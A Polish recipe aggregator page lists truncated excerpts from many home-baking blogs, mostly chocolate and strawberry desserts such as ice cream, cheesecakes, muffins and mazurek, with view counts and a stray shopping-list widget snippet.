Cynamonowe szczęście
Słodkie środy - Lody śmietankowo truskawkowe z czekoladą 119

jest skomplikowane wymaga jedynie troszkę czasu i naszej cierpliwości aby lody dobrze dobrze się zmroziły :)) Spróbujcie a z pewnością pokochacie ich smak :))  Lody śmietankowo truskawkowe z czekoladą  SKŁADNIKI : 500 ml schłodzonej śmietany 30% 1 puszka mleka skondensowanego słodzonego około 150 - 200 g truskawek 2 łyżki startej gorzkiej czekolady PRZYGOTOWANIE : Truskawki myjemy, szypułkujemy i przekładamy do blendera - blendujemy(...)miski i ubijamy na sztywno, dodajemy skondensowane słodzone mleko, mieszamy. Następnie dodajemy zblendowane truskawki i ponownie mieszamy.  Masę lodową przekładamy do większego pojemnika.  Na wierzch ścieramy gorzką czekoladę.  Pojemnik umieszczamy w zamrażarce i mieszamy lody co 40-50 minut  przez około 7 godzin

Kulinarny Świat Konczi i Szpileczki
Mini serniczki z masłem orzechowym 152

Rewelacyjne, rozpływające się w ustach, po prostu cudowne - mini serniczki z masłem orzechowym, z dodatkiem pysznego orzechowego kremu, polane odrobiną czekolady i posypane orzeszkami. Mówię Wam, niebo w gębie! SKŁADNIKI: (ok 20 małych serniczków) Spód: 150 g ciastek owsianych z orzechami (można też użyć mieszanki innych ciastek i orzechów, np. herbatników i pokruszonych orzechów ziemnych) 2 łyżki masła Masa serowa(...)łyżka masła orzechowego (ja użyłam masła z nerkowców) Wierzch: 1 szkl śmietanki 30%  1 śmietan fix 1 łyżka cukru pudru 1 łyżka masła orzechowego 30-40 g czekolady mlecznej garść orzechów ziemnych 1. Masło rozpuścić. Ciastka włożyć do woreczka i rozmiażdżyć je wałkiem do ciasta, dodać masło i wymieszać. Wyłożyć do foremek na muffinki i ugnieść łyżką. 2. Jajka

Kto ugości moich gości?
Truskawkowa delicja 148

wodzie, odłożyć do wystudzenia i stężenia. Truskawki umyć, odszypułkować i pokroić na mniejsze kawałki, wyłożyć na biszkopt. Owoce zalac tężejącą galaretką, wstawić do lodówki. Polewa czekoladowa: 100 g mlecznej czekolady 100 ml kremówki 1,5 łyżeczki żelatyny Czekoladę roztopić w kąpieli wodnej z 25 ml kremówki. Żelatynę zalać niewielką ilością zimnej wody, gdy napęcznieje lekko ją podgrzać, do rozpuszczenia, jeszcze(...)ciepłą połączyć z płynną czekoladą. Pozostałą kremówkę ubić na sztywno, dokładnie połączyć z masą czekoladową. Całość wyłożyć na stężałą galaretkę. Schłodzić w lodówce do całkowitego stężenia mas. Przed podaniem dowolnie udekorować. Smacznego

Domowa cukiernia Ewy
Wilgotne ciastka kokosowo-owsiane z czekolada, bez jaj czyli Slodki Czwartek odc.85 264

niecierpliwością... mam ciasteczka.  Słodkie, wilgotne, kokosowe i bardzo proste w przygotowaniu. Poza masłem wszystko odmierzamy szklankową miarą, moja szklanica miała 300 ml. Wilgotne ciastka kokosowo-owsiane z czekolada, bez jaj 250 ml mąki pszennej (niepełna szklanka) 1 płaska łyżeczka sody po 150 ml wiórków kokosowych i płatków owsianych 100-150 ml cukru w zależności od upodobań 1 łyżka miodu(...)garść drażetek czekoladowych lub posiekanej grubo czekolady 100 g masła lub margaryny bez mlecznej 80-100 ml kefiru (nam alergolog zezwolił i czasem stosuję) Mąkę, wiórki, płatki i cukier mieszamy w misce, ucieramy z masłem by powstały drobne okruszki. Dosypujemy czekoladę i dolewamy kefir, zagniatamy ciasto. Z ciasta formujemy kulki i spłaszczamy je. Ciastka (u mnie 25 szt.) układamy

Dzieje kuchennej Wiewióry
Proste urodzinowe ciasto czekoladowe 266

ciemnego kakao bez cukru 200g mąki pszennej (użyłam tortowej) 1 i 1/2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody Polewa: 100ml śmietanki kremówki 30% lub 36% 100g połamanej, gorzkiej czekolady Dodatkowo: kolorowa posypka cukrowa 1. Piekarnik nastawić na 170oC na funkcji góra-dół. 2. Mąkę przesiać i wymieszać z proszkiem do pieczenia oraz sodą. 3. Masło utrzeć z cukrem(...)pieczenia, wyrównać. Wstawić do nagrzanego piekarnika. Piec przez około 60 minut. Po wyjęciu w piekarnika odstawić do całkowitego ostygnięcia. Polewa: 6. Do rondelka wlać śmietankę i dodać połamaną czekoladę. Podgrzewać na małym ogniu, mieszając, aż czekolada się roztopi. Gotową polewą udekorować ciasto i wierzch posypać kolorową posypką.   Zgłoszenia możecie przesyłać do końca lipca. Inspiracje i przykładowe historie z przepisami

Mała Cukierenka
Fondant, czyli ciasto-lawa i truskawki 191

masę z podanych proporcji do 4 mniejszych foremek, wybrałam 2 większe. Myślicie, że ktoś się skarżył na zbyt dużą porcję? ;) Składniki na 3-4 kokilki: 100 g czekolady, 50 g masła, 2 łyżki brandy (opcjonalnie), 2 jajka, 4 łyżki brązowego cukru, łyżeczka esencji waniliowej. dodatkowo: masło i odrobina mąki do wysmarowania i obsypania foremek. W kąpieli wodnej rozpuścić(...)czekoladę wraz z masłem, mieszając cały czas, żeby nie zważyła się. Jajka ubić lekko z cukrem, esencją waniliową i ewentualnie brandy. Delikatnie połączyć z masą czekoladową. Foremki wypełniać do 2/3 - 3/4 wysokości, na wierzchu układać połówki truskawek. Zapiekać w temperaturze 200 stopni przez około 10 minut. Po wyjęciu delikatnie obkroić brzegi i wykładać na talerzyki. Podawać z truskawkami, lodami, bitą

Codzienna kuchnia niecodzienna
Sałatka ze szpinakiem, truskawkami i mozarellą 225

większej ilości osób - może się okazać, że będziecie potrzebować np. pół kilo! Składniki: liście szpinaku truskawki mozarella płatki migdałowe szczypta cukru, sól, pieprz do smaku Sos balsamiczny z czekoladą: 2 łyżki octu balsamicznego 1 łyżka oliwy z oliwek 4 kostki gorzkiej czekolady, rozpuszczone szczypta pieprzu i pieprzu cayenne Na talerzu układamy liście szpinaku. Wykładamy na nie pokrojone w połówkę truskawki(...)pokrojoną w kostkę mozarellę. Migdały prażymy na suchej patelni i posypujemy nimi szpinak. W filiżance mieszamy roztopioną czekoladę z oliwą oliwek i octem balsamicznym. Doprawiamy do smaku pieprzem i pieprzem cayenne. Tak przygotowamym sosem polewamy przygotowaną wcześniej sałatkę. Smacznego

Ewa Kuchennie - Kuchnia to serce domu!
Kasza jaglana z truskawkami – jaglanka 221

szklanka mleka zwykłego lub roślinnego 1-2 łyżki miodu lub syropu z agawy 1 łyżka ekstraktu waniliowego 1/2 łyżeczki cynamonu do wyboru: posiekane migdały, orzechy nerkowca lub starta, gorzka czekolada świeże, słodkie truskawki (ok. 2 szklanki, pokrojonych na małe części) listonic_type='fooddrink';listonic_theme='addToShoppingList7';listonic_content='3/4 szklanki kaszy jaglanej 3/4 szklanki wody 1 szklanka mleka zwykłego(...)roślinnego 1-2 łyżki miodu lub syropu z agawy 1 łyżka ekstraktu waniliowego 1/2 łyżeczki cynamonu do wyboru: posiekane migdały, orzechy nerkowca lub starta, gorzka czekolada świeże, słodkie truskawki (ok. 2 szklanki, pokrojonych na małe części)'; document.write(" "); Zagotowujemy cały czajnik wody. Kaszę jaglaną wsypujemy na sitko i przelewamy wrzątkiem z czajnika, a następnie płuczemy pod zimną wodą. W rondelku zagotowujemy

Poezja smaku
Domowe rafaello. 2976

Śniegowe ,słodkie ,z migdałową niespodzianką w środku ,rafaello .Bardzo prosto się robią i znikają równie szybko .Kochasz kokos? . Składniki ,około 20 małych kuleczek : 1 tabliczka dobrej jakości białej czekolady 50 g masła 25 g cukru pudru 3/ 4 szklanki wiórków kokosowych do masy 20 migdałów bez łupinki 0,5 szklanki wiórków kokosowych do obtaczania Czekoladę rozpuścić w kuchence mikrofalowej(...)misce ubić dokładnie masło z cukrem pudrem .Miksując dodawać czekoladę ,wiórki kokosowe do połączenia składników. Masę przekładamy do lodówki na około 20 minut . Po tym czasie odrywamy kawałki masy i umieszczając w każdej migdał formujemy kuleczki i obtaczamy w wiórkach kokosowych .Kuleczki przechowujemy w lodówce .Smacznego. Przepis z bloga Kawa cynamonem pachnąca

Ladylaura.
Kakaowe ciasto z owocami i kruszonką 150

jogurtu naturalnego 35 dkg  mąki pszennej 30 g kakao 3 łyżeczki proszku do pieczenia ok. 800 g świeżych truskawek Kruszonka: 15 dkg masła lub margaryny 50 g czekolady gorzkiej 18 dkg  mąki pszennej 20 g kakao 10 dkg cukru szczypta soli 10 dkg płatków owsianych Czekoladę połamaną na kawałki i masło roztopić w kąpieli wodnej. Mąkę wymieszać(...)kakao, cukrem, szczyptą soli i płatkami owsianymi. Dodać ciepłą, roztopioną czekoladę i zagnieść na kruszonkę. Truskawki umyć, osuszyć i odszypułkować.  Mąkę wymieszać z proszkiem do pieczenia i kakao. Oddzielić żółtka od białek. Białka ubić na sztywną pianę.Ubijając, dodać stopniowo cukier. Dalej miksując, dodać po jednym żółtku. Zmniejszyć obroty miksera i dodać stopniowo olej z jogurtem. Kolejno dodać mąkę

Moje domowe kucharzenie
Tort o smaku Ferrero Rocher 137

zmielonymi orzechami. Całość bardzo delikatnie wmieszać do masy jajecznej. Jeśli zrobi się to zbyt energicznie biszkopt będzie oklapnięty. Składniki na krem: 300g miękkiego masła (1,5 kostki) 300g czekolady - gorzkiej 6 szt. wafelków Góralki o smaku orzechowym 7-8 kopiastych łyżek Nutelli Wykonanie kremu: Czekoladę należy rozpuścić w kąpieli wodnej i odstawić do wystudzenia. W tym czasie pokroić sobie wafelki(...)Góralki na małe kawałki. Następnie ubić masło na jasną i puszystą masę, dodać Nutellę i rozpuszczoną czekoladę i zmiksować wszystko na jednolitą masę. Odstawić mikser i do gotowej masy wrzucić pokrojone wafelki. Wymieszać. Wykańczanie tortu: Blaty biszkoptowe przełożyć połową masy. Drugą połowę zostawić na ozdobienie boków i wierzchu tortu. Po nałożeniu kremu można ozdobić brzeg tortu posiekanymi orzechami laskowymi (można

Mania Wypiekania
Kawowe brownie 109

kogo: dla szukających przepisu na szybkie ciasto (robi się je 15 minut)! dla czekoladoholików i kawoszy dla lubiących "ciężkie" ciasta Składniki: 160g masła 180g gorzkiej czekolady szklanka cukru 1,5 szklanki mąki pół szklanki likieru kawowego 1 łyżka kawy rozpuszczalnej 4 jajka 1 łyżeczka ekstraktu z wanilii szczypta soli Składniki na dekorację: polewa czekoladowa (100g)  czekoladowe ziarnka kawy(...)prawdziwe ziarna kawy Wykonanie: Masło roztopić razem z czekoladą w rondelku i odstawić do ostudzenia. Jajka, ekstrakt z wanilii, cukier i likier kawowy roztrzepać lub lekko zmiksować w misce. Dodać do tego kawę granulowaną rozpuszczoną w minimalnej ilości wody. W drugiej misce zmieszać przesianą mąkę ze szczyptą soli. Mąkę wsypać do masy jajecznej i zmiksować. Na końcu dodać roztopione masło

Mania Wypiekania
Muffinki czekoladowe z białą czekoladą 82

kogo: dla fanów muffinek dla lubiących szybkie wypieki dla miłośników białej czekolady (nadaje ona tym muffinkom wyjątkowy smak!) Składniki: 2 szklanki  mąkipszennej 100g masła (pół kostki) szklanka mleka  100g cukru 50g cukru brązowego 2 jajka  1 łyżka kakao 2 łyżeczki proszku do pieczenia pół tabliczki białej czekolady (może być też mleczna) Wykonanie:   Do miski wsypać przesianą(...)cukrem oraz masłem - aż się rozpuści. Odstawić do wystygnięcia. Ostudzone mleko wlać do mąki, dodać jajka i zmiksować. Powstałą masę rozlać do papilotek, w wierzch posypać pokrojoną białą czekoladą.  Muffinki piec ok. 30 minut w piekarniku rozgrzanym do 180 stopni. Z przepisu wychodzi ok. 12-16 muffinek. Przepis jest drobną modyfikacją przepisu podanego przez Korę Cynamonu http://koracynamonu.blogspot.com/2012/03/muffinki-czekoladowe.html

Mania Wypiekania
Fale Dunaju 114

miksować. W międzyczasie dolewać stopniowo sok z cytryny, miksując. Na ostudzone ciasto wyłożyć masę. Ciasto z masą wstawić do lodówki do wychłodzenia i stężenia. Składniki na polewę: 200g gorzkiej czekolady (lub 100g gorzkiej + 100g mlecznej) 80g masła/margaryny Wykonanie polewy: Czekoladę rozpuścić w kąpieli wodnej wraz z masłem/margaryną  - tak by była gładka. Następnie wylać na masę budyniową(...)masa musi być już wystudzona). Zamiast czekolady i masła można użyć także gotowej polewy lub kuwertury do ciast. Blacha: Wyłożona papierem do pieczenia, prostokątna ok. 33x20 cm. Przepis pochodzi z bloga: www.mojewypieki.com

Mania Wypiekania
Ciasteczka piernikowe z czekoladą 132

kogo: dla fanów kruchych ciasteczek dla nie lubiących pierniczków, a chcących upiec świąteczne ciasteczka dla czekoladowych łasuchów Składniki: 200g czekolady deserowej lub groszków czekoladowych 190g mąki pszennej 1¼ łyżeczki mielonego imbiru ¼ łyżeczki mielonych goździków ¼ łyżeczki mielonej gałki muszkatołowej 1 łyżka kakao 120g masła pół szklanki ciemnego brązowego cukru pół szklanki melasy 1 łyżeczka sody oczyszczonej ¼ szklanki cukru (do obtoczenia(...)łyżeczka cynamonu Wykonanie: Czekoladę posiekać, na większe kawałki (kilkumilimetrowe). Mąkę przesiać z przyprawami - imbirem, cynamonem, goździkami, gałką muszkatołowej i kakao. Masło zmiksować, aż stanie się jasne, kremowe (prawie białe - około 4 minut). Dodać brązowy cukier, melasę i zmiksować. Sodę rozpuścić w 1,5 łyżeczki wrzącej wody. Połączyć masę maślaną z mąką i sodą, zmiksować. Na końcu wmieszać czekoladę w kawałkach

Mania Wypiekania
Muffinki z syropem klonowym 97

zupełnie niespotykanym smaku Składniki na muffinki: 300g mąki pszennej 2 łyżeczki proszku do pieczenia 120g masła 50g jasnego brązowego cukru - demerara 150ml syropu klonowego 5 łyżek mleka 40g gorzkiej czekolady 50g orzechów włoskich 2 jajka Składniki do dekoracji: orzechy włoskie lukier Wykonanie: Masło wraz z brązowym cukrem rozpuścić w rondelku i odstawić do ostudzenia.  Mąkę wraz z proszkiem(...)pieczenia przesiać. Orzechy włoskie pokroić na małe kawałki lub zmielić. Czekoladę zetrzeć na tarce. Jajka zmiksować z mlekiem i syropem klonowym. Do masy jajecznej dodać mąkę z proszkiem do pieczenia oraz rozpuszczone masło z cukrem (chłodne). Składniki wymieszać, a następnie dodać do masy startą czekoladę wraz z orzechami włoskimi. Wymieszać. Formę na muffinki natłuścić masłem lub wyłożyć papilotkami. Napełnić ciastem

Mania Wypiekania
Czekoladowy mazurek z m&m's 98

kogo: dla chcących zrobić mazurkową niespodziankę dzieciom dla fanów czekolady dla szukających mazurka, który cieszy nie tylko podniebienie, ale także oko Składniki na ciasto: 250g mąki krupczatki 125g zimnego masła 4 łyżki cukru łyżka kwaśnej śmietany (12 lub 18%) 1 jajko 2 łyżki kakao łyżeczka ekstraktu z wanilii Składniki na masę: 175ml śmietany kremówki 175g gorzkiej czekolady łyżka cukru kilka(...)minut w piekarniku, a następnie wyjąć i wystudzić.     Wykonanie masy:  Śmietanę zagotować w rondelku. Zdjąć z ognia rondelek. Do gorącej śmietany dodać cukier i czekoladę połamaną na kawałki i bardzo dokładnie wymieszać. Odstawić na ok. 10 minut, by masa trochę przestygła. Wystudzonego mazurka posmarować powidłem śliwkowym. Lekko ciepłą masę czekoladową wylać na ciasto i rozprowadzić

Mania Wypiekania
Sernik na zimno z bananami i wiśniami 138

zimno dla tych, którzy nie lubią piec dla tych, którzy mają zepsuty piekarnik Składniki na spód: łyżeczka kakao 100g masła 80g płatków kukurydzianych  50g płatków migdałowych 150g czekolady mlecznej Składniki na masę serową: 500g sera mascarpone 500g sera na sernik (3 krotnie zmielonego) 3 banany 250g śmietany kremówki 9 łyżeczek żelatyny sok z połowy cytryny opakowanie cukru waniliowego(...)110g cukru Składniki na owocowy wierzch: 500g wiśni 2 łyżki cukru 250ml + 9 łyżek soku/nektaru wiśniowego 40g mąki pszennej Wykonanie spodu: Masło i czekoladę roztop w "kąpieli wodnej". Dodaj łyżeczkę kakao i wymieszaj. Tortownicę (26cm) wysmaruj masłem. Płatki migdałowe i kukurydziane połącz razem w miseczce. Wlej do nich roztopione wcześniej masło z czekoladą. Wymieszaj, a następnie wyłóż tę masą tortownicę

Mania Wypiekania
Muffinki piernikowe z czekoladą 142

szklanki jasnego brązowego cukru (trzcinowy demerara) łyżka przyprawy do pierników 50ml oleju 0,5 szklanki maślanki 0,5 szklanki mleka 0,5 szklanki miodu jajko 100g gorzkiej lub mlecznej czekolady posiekanej na kawałki lub kropelek czekoladowych jabłko (średniej wielkości) szczypta soli Składniki na dekorację: gotowa polewa czekoladowa (kuwertura) lub 150g czekolady gorzkiej z łyżką masła ciasteczka piernikowe lub dowolna posypka(...)maślankę, miód, mleko (jeśli zdarzy się, że miód jest zbyt twardy należy rozgrzać go lekko w rondelku, aż stanie się płynny). Połączyć zawartość obydwu naczyń. Porządnie wymieszać. Dodać posiekaną czekoladę i starte na tarce jabłko. Formę do muffinek wyłożyć papilotkami. Nałożyć do nich ciasto (do ok. 3/4 ich wysokości). Piec ok. 20-25 minut w temperaturze 190 stopni. Gdy przestygną

Mania Wypiekania
Śniadaniowe Bananowe Pole 165

ryżu 1 banan 1 jabłko Mieszankę płatków śniadaniowych: kukurydziane, owsiane, zbożowe  itp. Garść rodzynek Garść orzechów włoskich (mogą być inne) Garść migdałów Garść nasion słonecznika Kilka kostek gorzkiej czekolady Łyżeczkę cynamonu Łyżeczkę cukru trzcinowego lub miodu Przygotowanie: 1. Najpierw nastawiamy do ugotowania ryż. Możemy go lekko posolić lub pozostawić wyłącznie w wodzie. 2. Na rozgrzanej, suchej patelni prażymy słonecznik(...)cynamonem i cukrem. Wszystko dokładnie mieszamy i smażymy przez kilka minut. 4. Ugotowany ryż dodajemy do naszego śniadaniowego bananowego pola i również mieszamy. 5. W małym rondelku roztapiamy gorzką czekoladę przez kilka minut na średnim ogniu, aby jej za bardzo nie przypalić. 6. Całość wykładamy na talerz, polewamy gorącą czekoladą i jemy mocne i zdrowe śniadanko :) Smacznego! Maugo&Paszko

Bananowe Pole
suflet czekoladowy z truskawkami na ekspresowy deser 143

składniki: 100g gorzkiej czekolady 1 łyżka kakao 80 ml śmietany 30% 1 łyżka cukru pudru 1 żółtko 3 białka 1 łyżeczka soku z cytryny szczypta soli dodatkowo: kilka świeżych truskawek wykonanie: Czekoladę rozpuszczamy w kąpieli wodnej. Dodajemy powoli śmietankę, mieszamy aż się połączy z czekoladą. Odstawiamy. Dodajemy żółtko, energicznie mieszamy. Dodajemy przesiane kakao, wlewamy sok z cytryny, dokładnie mieszamy

Domowy Smak Jedzenia
Kruche księżyce cappuccino 182

kawy cappuccino 300 g mąki + do podsypywania 50 g mielonych orzechów laskowych 50 g mielonych migdałów 100 g cukru (dałam 70 g) 200 g masła Do dekoracji: 50 g czekolady białej (lub kuwertury) 50 g czekolady ciemnej (lub kuwertury) 1. Cappuccino instant rozpuścić w 50 ml gorącej wody i dokładnie wymieszać, wystudzić. Mąkę wymieszać z cukrem, mielonymi orzechami i migdałami(...)formować księżyc-rogalik. Układać na blasze w odstępach 3-centymetrowych, piec na średniej półce.  3.Wyjąć po upieczeniu i zostawić na blasze, do całkowitego wystudzenia. Rozpuścić kuwertury lub czekolady osobno (w kąpieli wodnej) i napełnić nimi dwa woreczki śniadaniowe i wyciąć malutkie otworki w jednym rogu, dekorować najpierw jedną, potem drugą polewą. Pozostawić minimum 30 minut do zastygnięcia. Smacznego

Kuchnia Prezydentowej
Pomidorowa zupa meksykańska z wołowiną, czekoladą i rodzynkami 195

Troszkę się obawiałam, jak w końcowym efekcie będzie ta zupa smakować. Bo nie tylko czekolada, rodzynki i skórka pomarańczowa wystąpiła w przyprawach, ale jeszcze kolendra świeża i mielona, kminek, oregano i czosnek - istna feeria smaków dosłownie i w przenośni! ;) Moje obawy okazały się zupełnie bezpodstawne - zupa jest po prostu wspaniała. Zgodnie z moim kolejnym przeczuciem, że jest też wyjątkowo sycąca(...)kminku szczypta cynamonu skórka otarta z jednej umytej i sparzonej pomarańczy 200 g przecieru lub gęstego soku pomidorowego 4 łyżki koncentratu pomidorowego Pudliszki 2 ząbki czosnku 8 g rozpuszczonej czekolady mlecznej 3 łyżki rodzynek 50 g ryżu długoziarnistego sól do smaku świeża kolendra 1. Cebulę, marchew i seler pokroić w kostkę, paprykę w paski ,chili skruszyć w palcach (najlepiej przez

Kuchnia Prezydentowej
Chłodnik truskawkowy z serkiem waniliowym 128

mając do dyspozycji takie ilości truskawek (mieszkam zaraz przy bazarze) nie mogłam przejść obojętnie obok tego przepisu. Zmiksowane i lekko doprawione truskawki w połączeniu z kremowym serkiem i płatkami czekolady to prawdziwa eksplozja smaku, wręcz idealna na letni deser. Potrzebne nam: - około 60 dag truskawek - 3 łyżeczki miodu - spora szczypta imbiru - 1/2 szklanki wody - pół laski wanilii - serek homogenizowany(...)smaku waniliowym (ale może też być np. kokosowy) - odrobina czekolady startej na dużych oczkach lub za pomocą noża Przygotowanie:  Truskawki umyć, osuszyć i odszypułkować. Kilka najładniejszych odłożyć do dekoracji. Resztę zmiksować za pomocą blendera z dodatkiem wody, imbiru i miodu. Dodać ziarenka wyskrobane z połowy laski wanilii i ponownie zmiksować. Wstawić na godzinę do lodówki. Tuż przed podaniem chłodnik

W poszukiwaniu inspiracji
Kopiec kreta z truskawkami 125

łyżeczka proszku do pieczenia, czubata, 1/2 łyżeczki sody oczyszczanej, 4 łyżki kakao, 2 jajka, 3 banany, Krem:  śmietan-fixy,   500 ml śmietany 30%, 100g gorzkiej czekolady, 4 łyżki cukru pudru. Wykonanie: Ciasto: Jajka ubić z cukrem na gładką, puszystą masę. Suche składniki (mąkę, kakao, proszek do pieczenia i sodę) wymieszać. Do ubitych jajek dodawać wymieszane składniki przesiane przez(...)już ciasto wystygnie należy delikatnie wydrążyć połowę miąższu tak, aby zostały brzegi ciasta i nietknięty spód. Na cieście układamy truskawki. Jeżeli są duże to należy je przekroić. Krem: Czekoladę kroimy   na drobne kawałki. Śmietanę ubijamy na niskich obrotach razem cukrem pudrem i fiksem do śmietan.   Jak już będzie ubita dodajemy czekoladę. Delikatnie mieszamy. Nakładamy śmietanę na ciasto

Passion of Cooking
Sernik orzechowy 141

łyżeczka aromatu waniliowego Składniki na masę serową: - 500 g sera białego - 3/4 szklanki cukru - 1,5 łyżki mąki - 3 jajka - 1/2 szklanki śmietany kremówki - 1 łyżeczka aromatu waniliowego Czekolada mleczna i orzechy do dekoracji. Do wypieku użyłam tortownicę o średnicy 17 cm i trochę ograniczyłam ilość składników w porównaniu do pierwotnego przepisu. Najpierw zabieramy się za robienie spodu sernika(...)orzechową. Całość wkładamy do nagrzanego piekarnika do temperatury 175 stopni i pieczemy przez godzinę. Upieczony sernik studzimy a następnie schładzamy w lodówce. Jeżeli ktoś chce sernik można oblać rozpuszczoną czekoladą ale warstwa czekolady nie powinna być za gruba bo potem będzie się źle kroić. Sernik ozdabiamy połówkami orzechów. Smacznego

Kuchenne Wariacje
Ciasto czekoladowo-wiśniowe 132

Jasne soczyste ciasto i wilgotne, w moim przypadku czekoladowo-wiśniowe nadzienie, to doskonałe połączenie. Dodatkowo oblane gorzką czekoladą nie wysycha tak szybko, a posypane płatkami kokosowymi wygląda bardzo dekoracyjnie, chociaż sprawiają one trochę trudności podczas krojenia. To już trzeci, wypróbowany przeze mnie przepis z książki Dr Oetkera. W oryginale było to ciasto czekoladowo – miętowe. Ja zrobiłam je o smaku wiśniowym(...)pierwsze dlatego, że nie miałam akurat pod ręką czekolady z takim nadzieniem. Po drugie wydawało mi się, iż zima to nie jest chyba najlepsza pora na takie „orzeźwiające” wypieki. Ciasto nic nie straciło ze swych walorów na tej zamianie. Myślę, że do upieczenia tego ciasta można użyć czekolady o dowolnym nadzieniu, jakie kto lubi i tak będzie znakomite". Czytaj

Wiem co jem
Krem waniliowo-czekoladowy 89

deser na koniec karnawału, zrobiony na prośbę chłopców. Nie miałam za bardzo czasu na przygotowanie czegoś bardziej wyrafinowanego, wykorzystałam więc pomysł Wandy Jackowskiej z książki „Ciasta i desery z czekoladą”, nieco go modyfikując. Użyłam śmietany o większej zawartości tłuszczu i dodatkowo ją ubiłam. Zmniejszyłam też ilość cukru i dodałam rozpuszczoną czekoladę w tabliczce, zamiast czekolady w proszku. Czytaj więcej

Wiem co jem
Muffiny miętowe z czekoladą 124

zapytała "do czego?!". Musiałam powtórzyć pytanie :) Babeczki wyszły akurat słodkie, akurat czekoladowe i jak najbardziej akurat miętowe. Nie sama mięta, tylko jej delikatny posmak, pycha! :) Miętowe muffiny z czekoladą Proporcje na 12 sztuk SKŁADNIKI SUCHE: 280 g mąki pszennej 1 płaska łyżka proszku do pieczenia szczypta soli 80 g cukru 150 g gorzkiej czekolady SKŁADNIKI MOKRE: 2 jajka(...)mleka 6 łyżek oleju 2 łyżeczki kropli miętowych (kupione w aptece) DODATKOWO: cukier puder do posypania, ale niekoniecznie Wykonanie: Foremkę na muffiny wyłożyłam papilotkami . Czekoladę posiekałam. Wsypałam ją do miski z pozostałymi „suchymi” składnikami, tzn. przesianą mąką, solą, cukrem i proszkiem do pieczenia, i wymieszałam. Do drugiej miski wybiłam umyte jajka, roztrzepałam je widelcem, dolałam mleko, olej i krople miętowe

Kuchenne zapiski Edyty
Ciasteczka owsiane z czekoladą i rodzynkami 145

wiele innych przepisów, ale najbardziej podpasował mi właśnie ten. Do ciasta dodaję takie bakalie, jakie akurat mam w spiżarni: morele, żurawinę, orzechy, czy rodzynki, i zawsze obowiązkowo czekoladę. W każdej wersji smakują wyśmienicie  J Ciasteczka teoretycznie można całkiem długo przechowywać w szczelnie zamkniętej puszce, ale w moim domu znikają jeszcze tego samego dnia (chyba, że upiekę(...)mąki pszennej 2/3 szklanki płatków owsianych górskich 60g brązowego cukru trzcinowego szczypta soli 1 łyżeczka proszku do pieczenia małe opakowanie cukru wanilinowego 125g masła 60g jak najdrobniejszych rodzynek 50g czekolady o zawartości kakao ok. 50% 1 duże jajko Ciasteczka owsiane Wykonanie: Do miski przesiałam mąkę, dodałam płatki owsiane, cukier, cukier wanilinowy, sól i proszek do pieczenia, wymieszałam. Dodałam miękkie masło

Kuchenne zapiski Edyty
Obłędnie czekoladowe muffiny 155

necie, i ponoć ma swoje źródło w przepisie Nigelli. Mimo, że piekłam te muffinki w ubiegłym roku, do dzisiaj pamiętam, że w mojej kuchni pachniało jak w fabryce czekolady. Muffiny wyszły przepyszne, szczególnie smakowały jeszcze letnie, kiedy rozpuszczona czekolada rozpływała się po zębach. Tak, tak, wiem, takie słodkości z czekoladą można piec przez okrągły rok, ale cudowne porzeczki jakimi

Kuchenne zapiski Edyty
Różyczki - tort czekoladowo-pomarańczowy w stylu angielskim 179

jajek szczypta soli 3/4 szklanki (160g) cukru 3/4 szklanki (100g) mąki pszennej tortowej 1/4 szklanki (35g) mąki ziemniaczanej Masa czekoladowa: 1 budyń waniliowy 1 - 1,5 tabliczki gorzkiej czekolady 1 kostka masła Mus pomarańczowy: miąższ z 4 pomarańczy, bez błonek 2 łyżki cukru pudru 1 łyżka soku z cytryny 3 łyżeczki żelatyny Masa maślana: 1 kostka masła 1 szklanka cukru(...)Wyjmować z formy po całkowitym wystudzeniu. Źródło: Moje Pasje Kraków Masa czekoladowa: Ugotować budyń waniliowy wg przepisu na opakowaniu, dodając 1 łyżkę cukru więcej. Ostudzić. W kąpieli wodnej rozpuścić czekoladę. Utrzeć masło dodając po trochu budyń i czekoladę. Jeśli masa jest za mało słodka można dodać trochę cukru pudru. Mus pomarańczowy: Żelatynę rozpuścić w niewielkiej ilości wody. Pomarańcze krótko przesmażyć

Domowa Cookierenka Agi
Mazurek ekspresowy 142

Propozycja na ostatnią chwilę - ekspresowy mazurek dla zabieganych. Przepis jest naprawdę prosty - nic nie można tu zepsuć :) Smak dostosowujemy pod siebie - jeśli dodamy kawę otrzymamy mazurek kawowy, jeśli czekoladę lub kakao - czekoladowy. Polecam serdecznie - jest słodki i bardzo smaczny, dlatego obowiązkowo gości na moim wielkanocnym stole :) Składniki:  Kruchy spód (na 2 okrągłe formy(...)pudru 200 g masła 100 ml wrzątku 1 małe opakowanie cukru waniliowego (lub 1 łyżeczka ekstraktu z wanilii) 2 łyżki tradycyjnego kakao (lub2 łyżki kawy rozpuszczalnej, albo 100 g czekolady deserowej) bakalie do przybrania Przygotowanie: Ciasto kruche: Ręcznie : Posiekać masło z mąką i cukrem, Palcami rozetrzeć grudki, dodać żółtko i jogurt/ śmietanę. Zagnieść ciasto, uformować kulę, owinąć folią i schłodzić

Domowa Cookierenka Agi
Deser z grilla, czyli faszerowane banany 171

taki upał miło sobie posiedzieć nad wodą i rozpalić grilla. A na grilla polecają się banany :) Wystarczy nafaszerować je czekoladą i piankami marshmallow i pyszny deser gotowy. Kto by pomyślał: takie proste, a tyyyle przyjemności :) Składniki: 1 banan 2 łyżki mini pianek marshmallow lub kilka dużych (pokrojonych) 2 łyżki dropsów czekoladowych do pieczenia lub kilka kostek ulubionej czekolady Na nadzienie(...)nadają się także posiekane orzechy, nadziewane małe czekoladki, czy pokruszone płatki śniadaniowe o smaku cynamonowym. Przygotowanie: Na kawałku folii aluminiowej przeciąć banana wzdłuż i "otworzyć". Nafaszerować piankami i czekoladą. Zawinąć folię i umieścić na średnio nagrzanym grillu. Zapiekać przez ok. 10 min. Banany będą gotowe, kiedy skórka sczernieje i rozpuszczą się pianki. Banany można też przygotować w piekarniku rozgrzanym

Domowa Cookierenka Agi
Czekoladki z galaretką truskawkową i jagodami goji 235

